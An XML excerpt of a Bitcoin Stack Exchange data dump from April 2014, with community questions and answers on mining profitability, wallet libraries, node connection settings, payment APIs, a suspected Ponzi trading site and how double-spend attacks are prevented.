  <row Id="24907" PostTypeId="2" ParentId="24902" CreationDate="2014-04-25T20:27:27.157" Score="2" Body="&lt;p&gt;See this thread for more information about what the checkpoints are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=194078.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=194078.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, they are hashes of blocks that are hardcoded into the Bitcoin Core software to make sure the blockchain you are downloading is actually the right one and not something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which altcoin are you using?  I suspect the author of it did not remove the checkpoints from their fork of Bitcoin Core and that is why you get the error message.&lt;/p&gt;&#xA;" OwnerUserId="6091" LastActivityDate="2014-04-25T20:27:27.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24908" PostTypeId="1" CreationDate="2014-04-25T21:14:13.553" Score="1" ViewCount="1335" Body="&lt;p&gt;I have internet cafe that has 30 PC constantly on 24 hours a day, they are basic PCs, can I use them to CPU mining botching?&lt;/p&gt;&#xA;" OwnerDisplayName="user15464" LastEditorUserId="5406" LastEditDate="2016-04-25T19:50:18.590" LastActivityDate="2016-04-25T19:50:18.590" Title="Can I mine from CPU using 30 PC constantly on" Tags="|mining-profitability|cpu-mining|" AnswerCount="1" CommentCount="5" ClosedDate="2014-04-26T22:58:21.463" ContentLicense="CC BY-SA 3.0" />
  <row Id="24909" PostTypeId="1" CreationDate="2014-04-25T21:48:02.687" Score="2" ViewCount="1998" Body="&lt;p&gt;I want to get a Dogecoin service up that holds, sends, and checks the balances of Dogecoin wallets. I plan on running this service via the Django Web framework so I need Python libraries for dealing with Dogecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already found a Python wallet generator for all the top Crypto-currencies:&#xA;&lt;a href=&quot;https://github.com/onenameio/coinkit&quot; rel=&quot;nofollow&quot;&gt;https://github.com/onenameio/coinkit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now I need to find a way to send money using any public and private key for Dogecoin. I've found this Python library that seems to have the ability to connect to a Dogecoin-Qt:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jcsaaddupuy.github.io/dogecoin-python/doc/usage.html&quot; rel=&quot;nofollow&quot;&gt;http://jcsaaddupuy.github.io/dogecoin-python/doc/usage.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this documentation is completely leaves out the wallet itself. Right away it tells you to run this line of Python code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; conn = dogecoinrpc.connect_to_local()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what local dogecoin exactly is this thing connecting to?? Is it connecting to the Dogecoin-Qt app which is already installed on my OS X computer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I enter that line of Python code in the Python shell interpreter, it seems to go through without any problems. And so immediately in the documentation the very next step involves getting the balance already, this is where I'm lost:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; print &quot;Your balance is %f&quot; % (conn.getbalance(),)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The guide never got into any specifics of what wallet or key pair we're working with, and so here's how the entire guide pans out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import dogecoinrpc&#xA;&amp;gt;&amp;gt;&amp;gt; conn = dogecoinrpc.connect_to_local()&#xA;&amp;gt;&amp;gt;&amp;gt; print &quot;Your balance is %f&quot; % (conn.getbalance(),)&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;stdin&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;  File &quot;build/bdist.macosx-10.9-intel/egg/dogecoinrpc/connection.py&quot;, line 444, in getbalance&#xA;  File &quot;build/bdist.macosx-10.9-intel/egg/dogecoinrpc/proxy.py&quot;, line 121, in __call__&#xA;  File &quot;build/bdist.macosx-10.9-intel/egg/dogecoinrpc/proxy.py&quot;, line 72, in request&#xA;  File &quot;/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py&quot;, line 973, in request&#xA;    self._send_request(method, url, body, headers)&#xA;  File &quot;/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py&quot;, line 1007, in _send_request&#xA;    self.endheaders(body)&#xA;  File &quot;/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py&quot;, line 969, in endheaders&#xA;    self._send_output(message_body)&#xA;  File &quot;/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py&quot;, line 829, in _send_output&#xA;    self.send(msg)&#xA;  File &quot;/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py&quot;, line 791, in send&#xA;    self.connect()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What wallet are we trying to get the balance from in this guide? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to perform Dogecoin transactions via pure Python?&lt;/p&gt;&#xA;" OwnerUserId="15465" LastActivityDate="2014-06-13T13:25:29.090" Title="Best way to send Dogecoins and view wallet balance with Python?" Tags="|wallet|dogecoin|" AnswerCount="1" CommentCount="0" ClosedDate="2021-06-29T04:40:55.380" ContentLicense="CC BY-SA 3.0" />
  <row Id="24910" PostTypeId="1" CreationDate="2014-04-25T22:02:02.883" Score="-1" ViewCount="1236" Body="&lt;p&gt;I've just come across a web site called bitcoin-trader.biz, and they offer membership in a &quot;trading pool&quot; starting at $20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How good is this company?&lt;/p&gt;&#xA;" OwnerUserId="492" LastActivityDate="2014-04-26T09:10:04.377" Title="How good is &quot;bitcoin-trader.biz&quot;?" Tags="|trading|" AnswerCount="1" CommentCount="2" ClosedDate="2014-04-27T23:34:37.233" ContentLicense="CC BY-SA 3.0" />
  <row Id="24911" PostTypeId="2" ParentId="24910" CreationDate="2014-04-25T22:06:54.343" Score="6" Body="&lt;p&gt;Their claims are, IMO, implausible. If they're not in it for an honest profit, what are they in it for? If they are in it for an honest profit, what do they need your money for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They're essentially borrowing money from their customers and saying that they are very, very likely to pay off at an above-market interest rate. Well, why would they do that? Any company in reasonable financial shape can borrow money at near market interest rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, claims to be doing arbitrage are frequently covers for Ponzi schemes. With no records of their trades, as far as I can tell, their business is a black box. If you can't tell what someone is doing, you shouldn't be helping them do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is any reason whatsoever to believe that they are actually doing arbitrage and not in fact either running a Ponzi or doing a &quot;buy, hold, and skim&quot;, I could't find it on their site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also appear to be completely anonymous, and as far as I can tell nobody with any credibility will vouch that they even exist. Why would anyone trust them with their money? An anonymous &quot;financial&quot; company explaining &lt;a href=&quot;https://bitcoin-trader.biz/kyc.php&quot;&gt;their own KYC&lt;/a&gt; policy is comedy gold, IMO.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-04-25T22:12:42.677" LastActivityDate="2014-04-25T22:12:42.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24912" PostTypeId="2" ParentId="18812" CreationDate="2014-04-25T22:57:13.713" Score="4" Body="&lt;p&gt;I wrote a blog post called &lt;a href=&quot;http://brikis98.blogspot.com/2014/04/bitcoin-by-analogy.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin by Analogy&lt;/a&gt; that captures the best analogy I've seen for explaining Bitcoin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nation of &lt;a href=&quot;http://en.wikipedia.org/wiki/Yap&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yap&lt;/a&gt; in the South Pacific uses a unique form of money called &lt;a href=&quot;http://en.wikipedia.org/wiki/Rai_stones&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rai stones&lt;/a&gt;, which are circular disks carved out of limestone, with a hole in the middle, that can be up to 12 feet in diameter and weigh up to 8,800 lbs!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oCxfX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trading stones of this size is difficult: no one wants to cart around a 4 ton stone every time they make a purchase. As a result, the Yapese came up with a clever solution: they decided to determine ownership by verbal agreement. Whenever there was a trade, the parties involved would communicate to the rest of the tribe the amount of stone that had been exchanged. The stones wouldn't actually move from one house to another, but the knowledge of who owned what was memorized and handed down through oral history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that this model of money is an excellent analogy for Bitcoin: the ownership of money is determined through collective memory (similar to Bitcoin's global ledger, known as the block chain), money is exchanged by telling everyone in the village about transactions (much like sending out messages in Bitcoin for each transfer), and new money enters the system through the time consuming and randomized process of mining (Bitcoins are created through digital mining). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a fairly long blog post, so I'm not sure it makes sense to copy it here; see &lt;a href=&quot;http://brikis98.blogspot.com/2014/04/bitcoin-by-analogy.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin by Analogy&lt;/a&gt; for the rest of the explanation.&lt;/p&gt;&#xA;" OwnerUserId="15467" LastActivityDate="2014-04-25T22:57:13.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24913" PostTypeId="1" CreationDate="2014-04-26T00:56:24.533" Score="-1" ViewCount="105" Body="&lt;p&gt;in most cases I've seen mining techniques listed as either ATI with OpenCL or Nvidia with Cuda. but I have seen Nvidia graphics that claim to support OpenCL. is this implementation different or would the same miner that does OpenCL on ATI work just as well as OpenCL on Nvidia?&lt;/p&gt;&#xA;" OwnerUserId="6838" LastEditorUserId="2306" LastEditDate="2017-04-26T21:33:15.330" LastActivityDate="2017-04-26T21:33:15.330" Title="does OpenCL on Nvida work as well as OCL on ATI?" Tags="|api|mining-hardware|gpu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24914" PostTypeId="2" ParentId="24908" CreationDate="2014-04-26T06:41:00.443" Score="2" Body="&lt;p&gt;Yes you can, but it isn't profitable. Mining bitcoin on a normal computer is a waste of energy, because the ASICS have much higher hash/s/kW (hash per second per kilowatt). Mining LTC or any other scrypt based coin is doable on regular desktop PCs, but only those who have a good GPU are worth it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then there is another part, &lt;em&gt;tweaking&lt;/em&gt; your settings. As mining is continuously stressing your card, it becomes very hot and consumes energy. Therefor its more profitable to run at a slightly less voltage (underclocking) or at only (say something like) 80% of the maximum capacity. It requires a lot of time to get the perfect values for your system. It is an important thing to do, because the margin of profit is quite low, and you really need to push the KHs/kW to the limit to get a good financial result. You have to do that for 30 computers (mining results differ from system to system, even if they are identical, I think I read somewhere) which requires even more time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore there are two options: there are good GPU's in the computers for people who want to game in your café or there are just normal GPU's in it, and people just browse the internet and do their thingies there. In the first case, you cannot mine while someone is playing a game because it affects the gaming experience of the customer. In the second case, the GPU is probably not good enough to mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would say &lt;strong&gt;no&lt;/strong&gt;, it is not profitable to mine in your café. Certainly not CPU mining because that is useless for bitcoin (and will always be due to ASICS). GPU is possible, but because it requires a lot of time  and sweat I wouldn't advise it. &lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-04-26T06:41:00.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24915" PostTypeId="1" CreationDate="2014-04-26T06:55:41.977" Score="0" ViewCount="1381" Body="&lt;p&gt;I am using coinbase api &lt;a href=&quot;https://github.com/coinbase/coinbase-php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/coinbase/coinbase-php&lt;/a&gt; and I successfully created order button but I didn't found anything to confirm or track that I have received payment.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    require_once 'lib/coinbase.php';&#xA;    require_once 'config.php';&#xA;    $coinbase = Coinbase::withApiKey(Key, Secret);&#xA;    echo $coinbase-&amp;gt;createButton(&quot;Bullion Products&quot;, &quot;10.00&quot;, &quot;BTC&quot;)-&amp;gt;embedHtml;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this codes I am able to show Pay with bitcoins its showing correct values but just want to track with API that someone send me bitcoins so I'll do some action according to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13912" LastEditorUserId="13912" LastEditDate="2014-04-26T07:02:57.970" LastActivityDate="2014-08-24T23:44:19.727" Title="How to Track if Payment is Received with API in Coinbase" Tags="|coinbase.com|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24917" PostTypeId="1" CreationDate="2014-04-26T09:35:44.280" Score="0" ViewCount="787" Body="&lt;p&gt;I am new here. I really want to know how scryptcoins work so i wanted to create and altcoin to learn on something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I learned c++ years ago so i know i have some basic knowledge but sometimes i get stuck, and i need help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i have a problem. I created my coin. I wanted to start on testnet on local network beetwen 2 pcs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server PC:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./xxxd -testnet -listen=1 -server=1 -connect=&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client PC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./xxxd -testnet -connect=&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than tried getinfo:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conenctions: 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two pc can ping each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried other ways like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server PC:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./xxxd -testnet -connect=&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client PC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./xxxd -testnet -connect=&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Server PC:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./xxxd -testnet -listen=1 -server=1 -connect=:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client PC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./xxxd -testnet -connect=:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In getinfo they didn't have any connections. I searched forums, topic and found nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can help me, please write down your oppinion.&lt;/p&gt;&#xA;" OwnerUserId="15474" LastActivityDate="2014-10-23T17:10:08.540" Title="How to establish connection for mining testnet blocks?" Tags="|blockchain|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24918" PostTypeId="2" ParentId="1730" CreationDate="2014-04-26T13:19:34.243" Score="3" Body="&lt;p&gt;As a few have suggested, Green Addresses '1.0' had issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some improvements that were suggested as early as in 2011 which you can see implemented in &lt;a href=&quot;https://greenaddress.it&quot; rel=&quot;nofollow&quot;&gt;GreenAddress&lt;/a&gt; prevents users from double spending transactions via multisignature thus allowing zero confirmation for third parties that trust the GreenAddress provider, yet preventing users from risking their funds in someone else's online wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also this blog post about &lt;a href=&quot;http://blog.greenaddress.it/2014/04/18/when-you-can-and-cant-rely-on-0-confirmations&quot; rel=&quot;nofollow&quot;&gt;0 confirmations&lt;/a&gt; or the &lt;a href=&quot;http://blog.greenaddress.it/2014/04/05/firstpost-updates/&quot; rel=&quot;nofollow&quot;&gt;design/'whitepaper'&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14871" LastActivityDate="2014-04-26T13:19:34.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24919" PostTypeId="2" ParentId="24917" CreationDate="2014-04-26T15:11:10.040" Score="1" Body="&lt;p&gt;The &lt;code&gt;-connect&lt;/code&gt; option overrides &lt;code&gt;-listen&lt;/code&gt;; if you specify &lt;code&gt;-connect&lt;/code&gt; then the daemon does not listen for connections.  So both your hosts are trying to connect to the other, but neither one is accepting connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use &lt;code&gt;-bind&lt;/code&gt;, the daemon will accept connections on a particular interface, even if &lt;code&gt;-connect&lt;/code&gt; is also specified.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's suppose the two hosts have IP addresses 192.168.0.1 and 192.168.0.2 respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On host1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; mycoind -bind=192.168.0.1 -connect=192.168.0.2 -testnet -server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On host2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; mycoind -bind=192.168.0.2 -connect=192.168.0.1 -testnet -server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tested this with &lt;code&gt;bitcoind&lt;/code&gt; and it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that other machines on the 192.168.0 network will be able to connect to either host.  If it is a local network, this should not be a problem.  You will want to make sure that your router will not do port forwarding to port 8333 on either machine.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also check firewall settings on both machines to make sure each will accept incoming connections from the other on port 8333.  (Actually, if just one of them will accept connections from the other, that should be sufficient.)&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-04-26T15:11:10.040" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24920" PostTypeId="1" AcceptedAnswerId="24921" CreationDate="2014-04-26T16:05:42.243" Score="9" ViewCount="2360" Body="&lt;p&gt;I'm trying my best to understand how bitcoin works and while I've grasped the basics, there's a lingering question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What's to stop me from spending my bitcoin multiple times during a confirmation period?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have a single address that owns 1 BTC. I go to a cafe and use the coin (assume the whole coin for simplicity) to buy a cup of coffee. The transaction is broadcast across the network. The miners then compete with one another to include my transaction in a verified multi-transaction block that will be submitted to the block chain. That process takes around ten minutes. During that ten minute period, I walk to the gas station and reuse my 1 BTC to buy some gas. How could the gas station know that I had already used my 1 BTC to buy coffee a few minutes earlier and my actual balance is zero, since the coffee transaction isn't yet part of the official block chain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, one of these two transactions will most certainly get rejected by the Bitcoin network but either the cafe or the gas station will get stiffed, correct? It seems the only solution would be for the cafe to wait ten minutes for the confirmation prior to giving me my coffee -- but that's obviously not a practical approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="15471" LastEditorUserId="3364" LastEditDate="2014-04-26T23:55:31.847" LastActivityDate="2014-05-22T18:33:14.397" Title="How does BitCoin prevent fraud during confirmation period?" Tags="|blockchain|confirmations|doublespend|fraud|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24921" PostTypeId="2" ParentId="24920" CreationDate="2014-04-26T16:35:13.277" Score="10" Body="&lt;p&gt;This is definitely a concern, and is the reason why Bitcoin users are encouraged to wait for several confirmations before accepting a transaction and delivering goods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not quite as easy as you suggest, though.  When you made your transaction at the cafe, it was, as you say, broadcast across the network.  Barring connectivity problems, every node on the network gets a copy almost immediately.  (They don't need to wait for it to be included in a block.)  In particular, the gas station gets a copy.  So when you try to spend the same coin with them, they know it has already been spent and will reject your transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make this work, you have to ensure that the victim is not aware of the other transaction.  One approach is that the first transaction, rather than buying some other goods, simply sends the coin back to another address you control.  You don't broadcast it on the network; rather, you give it directly to a miner, with the understanding that they should include it in their next block, rather than the conflicting transaction that sends the coin to the gas station.  In a variant called a &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4942/1475&quot;&gt;Finney attack&lt;/a&gt;, the miner (possibly yourself) has already mined a block with the transaction that sends the coin to you, but they wait to submit it to the network until you have bought your gas.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2014-05-22T18:33:14.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24924" PostTypeId="1" CreationDate="2014-04-26T20:24:30.023" Score="-1" ViewCount="1637" Body="&lt;p&gt;I'm a bit confused by the output of my minerd from cpuminer because my understanding is that there is a 3 minute block target time, but somehow I got 4 submitted hashes in less than a minute, and it appears that they were also within a single block. What does this mean?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2014-04-26 12:57:31] Stratum detected new block&#xA;[2014-04-26 12:57:31] thread 1: 23304 hashes, 3.88 khash/s&#xA;...&#xA;&#xA;[2014-04-26 12:57:47] thread 2: 62472 hashes, 3.89 khash/s&#xA;[2014-04-26 12:57:48] accepted: 406/1106 (36.71%), 31.11 khash/s (yay!!!)&#xA;[2014-04-26 12:58:24] thread 1: 205104 hashes, 3.90 khash/s&#xA;[2014-04-26 12:58:24] accepted: 407/1107 (36.77%), 31.13 khash/s (yay!!!)&#xA;[2014-04-26 12:58:25] thread 5: 211068 hashes, 3.91 khash/s&#xA;[2014-04-26 12:58:26] accepted: 408/1108 (36.82%), 31.14 khash/s (yay!!!)&#xA;[2014-04-26 12:58:28] thread 1: 16788 hashes, 3.95 khash/s&#xA;...&#xA;[2014-04-26 12:58:32] thread 7: 234624 hashes, 3.90 khash/s&#xA;[2014-04-26 12:58:34] accepted: 409/1109 (36.88%), 31.25 khash/s (yay!!!)&#xA;[2014-04-26 12:58:34] Stratum detected new block&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15479" LastEditorUserId="5406" LastEditDate="2019-10-02T15:13:11.507" LastActivityDate="2019-10-02T15:13:11.507" Title="CPUminer minerd output confusion (OLY &amp; crypticpool). How do I get multiple, &quot;yay!!!&quot; in a single block?" Tags="|mining-pools|terminology|mining-pool-shares|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24926" PostTypeId="2" ParentId="16720" CreationDate="2014-04-26T21:41:47.863" Score="2" Body="&lt;p&gt;Using bitcoind and bitcoin-cli you can do it as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli signmessage 1DiWX6p3FdHPZqN88vMeGVXSwAQ1h7BeVj 'Hello world!'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5740" LastActivityDate="2014-04-26T21:41:47.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24927" PostTypeId="2" ParentId="24915" CreationDate="2014-04-26T21:53:04.530" Score="1" Body="&lt;p&gt;Use the callback URL, it will load it on the first confirmation.&lt;/p&gt;&#xA;&lt;p&gt;Just have it load a URL that runs a script to notify you or record the transaction somewhere.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://coinbase.com/api/doc/1.0/buttons/create.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://coinbase.com/api/doc/1.0/buttons/create.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Create a payment button&lt;/p&gt;&#xA;&lt;p&gt;This will create the code for a payment button (and modal window) that you can use to accept bitcoin on your website. You can read more about payment buttons here and try a demo.&#xA;The method signature is public function createButton($name, $price, $currency, $custom=null, $options=array()). The custom param will get passed through in callbacks to your site. The list of valid options are described here.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6321" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-04-26T21:53:04.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24928" PostTypeId="1" CreationDate="2014-04-26T22:22:57.573" Score="0" ViewCount="1223" Body="&lt;p&gt;I recently acquired an Antminer S1 and I also own a Block Erupter Cube. The Block Erupter Cube works with the old Getwork protocol so the best way to use it is to run a mining proxy on a PC in the local network. However, I would prefer to not need the PC and since I notice the Antminer S1 has some storage space available I wonder if it would be possible to SSH into it and install a mining proxy in it so that the Block Erupter Cube get its work through the Antminer rather than through the PC?&lt;/p&gt;&#xA;" OwnerUserId="6444" LastActivityDate="2014-04-27T09:49:16.937" Title="Can a mining proxy be installed on an Antminer S1?" Tags="|asic|proxy|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24929" PostTypeId="2" ParentId="24436" CreationDate="2014-04-26T23:54:44.797" Score="0" Body="&lt;p&gt;For the 70Khs Dualminer USB miners, I found &lt;a href=&quot;http://blog.nwoolls.com/2014/03/21/litecoin-mining-on-mac-os-x-dualminer-asics/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; to work just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking for help with the 300khs 5-chip miners on Mac, I'm stuck there as well. I can't find drivers for my Mac to recognize the &quot;STM32 Virtual COM Port&quot;. I figure once I find those, the rest should be just like in the link above.&lt;/p&gt;&#xA;" OwnerUserId="13712" LastActivityDate="2014-04-26T23:54:44.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24930" PostTypeId="2" ParentId="24913" CreationDate="2014-04-27T08:41:57.623" Score="0" Body="&lt;p&gt;&lt;code&gt;OpenCL&lt;/code&gt; is framework for heterogeneous computing, that is, a program written in &lt;code&gt;OpenCL&lt;/code&gt; should run on any plattform that supports it, and &lt;code&gt;Nvidia&lt;/code&gt; does, among a wide range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main benefit of &lt;code&gt;OpenCL&lt;/code&gt; is the ability to write the code once and to be able to run it on different platforms without changes. Normally that comes with a performance cost. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there's a tradeoff between performance and savings in code maintenance and developing efforts. I.e, OpenCL could be a reasonable framework for a generic miner but if you are devoted to squeeze any performance bit you can, IMO you should rely on the native framework for that platform, i.e &lt;code&gt;CUDA&lt;/code&gt; for &lt;code&gt;Nvidia&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14876" LastActivityDate="2014-04-27T08:41:57.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24931" PostTypeId="2" ParentId="24928" CreationDate="2014-04-27T09:49:16.937" Score="-1" Body="&lt;p&gt;I'd say &lt;code&gt;Antminer&lt;/code&gt; does not have any operating system inside.. so if I'm not wrong, no, you can't. &lt;/p&gt;&#xA;" OwnerUserId="14876" LastActivityDate="2014-04-27T09:49:16.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24932" PostTypeId="1" AcceptedAnswerId="25002" CreationDate="2014-04-27T10:00:53.983" Score="6" ViewCount="1186" Body="&lt;p&gt;Let's say I have a dedicated server just for my bitcoind and for better reliability and some security reasons I want it to be connected to a much bigger number of nodes than it is willing to do by default (about 40-50).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Providing that I have enough resources, how can I set my bitcoind to keep a specific number of connections to other nodes? Is this possible without recompiling it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: there's a &lt;code&gt;maxconnections&lt;/code&gt; option which sets the upper bound, but it doesn't seem bitcoind strives to reach it. Need to kick it off somehow.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-04-30T07:37:06.457" Title="How to make bitcoind connect to more nodes?" Tags="|bitcoind|nodes|peers|connection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24933" PostTypeId="1" CreationDate="2014-04-27T10:20:29.667" Score="1" ViewCount="117" Body="&lt;p&gt;I've been reading about Bitcoin on the news and I decided to learn how it works. I'm sorry if I'm posting dumb questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How these websites process transactions? How can they monitor one or more receiving addresses per registered users? Do they use custom software that interacts directly with the blockchain?&lt;/p&gt;&#xA;" OwnerUserId="15488" LastActivityDate="2014-04-29T22:47:00.107" Title="How websites like silkroad and pandora process transactions?" Tags="|transactions|" AnswerCount="1" CommentCount="3" ClosedDate="2014-04-30T10:51:38.383" ContentLicense="CC BY-SA 3.0" />
